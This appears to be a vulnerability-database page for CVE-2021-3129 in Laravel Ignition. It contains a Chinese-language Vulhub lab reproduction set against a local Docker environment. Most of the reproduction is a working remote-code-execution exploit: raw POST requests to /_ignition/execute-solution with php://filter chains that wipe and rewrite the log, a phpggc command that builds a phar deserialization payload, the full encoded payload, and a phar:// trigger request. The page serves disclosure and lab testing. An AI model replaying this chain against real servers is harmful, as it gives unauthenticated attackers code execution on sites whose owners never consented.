CVE-2021-3129

9.8
9.8 / 10
CRITICAL

Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.

Published: 2021-01-12

Community Advisory

This section is open source, for any additional information that enhances or clarifies the official advisory above.

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CVE-2021-3129 Exploits (8)

CVE-2021-3129 Vulnerable Docker Environment

Vulhub is an open-source collection of Docker-ized vulnerable environments. No pre-existing knowledge of Docker is required, just execute two simple commands and you have a vulnerable environment.

Get Vulhub Docker

Laravel Ignition 2.5.1 代码执行漏洞(CVE-2021-3129)

Laravel是一个由Taylor Otwell所创建,免费的开源 PHP Web 框架。在开发模式下,Laravel使用了Ignition提供的错误页面,在Ignition 2.5.1及之前的版本中,有类似这样的代码:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

攻击者可以通过phar://协议来执行反序列化操作,进而执行任意代码。

参考链接:

  • https://www.ambionics.io/blog/laravel-debug-rce
  • https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g

环境搭建

执行如下命令启动一个运行着Laravel 8.4.2和Ignition 2.5.1的应用:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看Laravel默认的欢迎页面。

漏洞复现

首先,我们发送如下数据包,页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式:

然后,我们按照如下方法复现漏洞。

  1. 发送如下数据包,将原日志文件清空。
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}
  1. 用phpggc生成序列化利用POC
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
  1. 发送如下数据包,给Log增加一次前缀
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}
  1. 将POC作为viewFile的值,发送数据包
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 5058

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4C=00=71=00=2F=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4C=00=71=00=2F=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=64=00=30=00=6B=00=2F=00=31=00=70=00=52=00=49=00=71=00=57=00=72=00=36=00=77=00=46=00=6C=00=38=00=30=00=4D=00=2B=00=48=00=4B=00=2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00"
  }
}
  1. 发送如下数据包,对Log文件进行清理
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试。

  1. 使用phar://进行反序列化,执行任意代码
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 210

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

此时需要使用绝对路径。

可见,PHPINFO已成功执行:

Official CVE References

View references (2)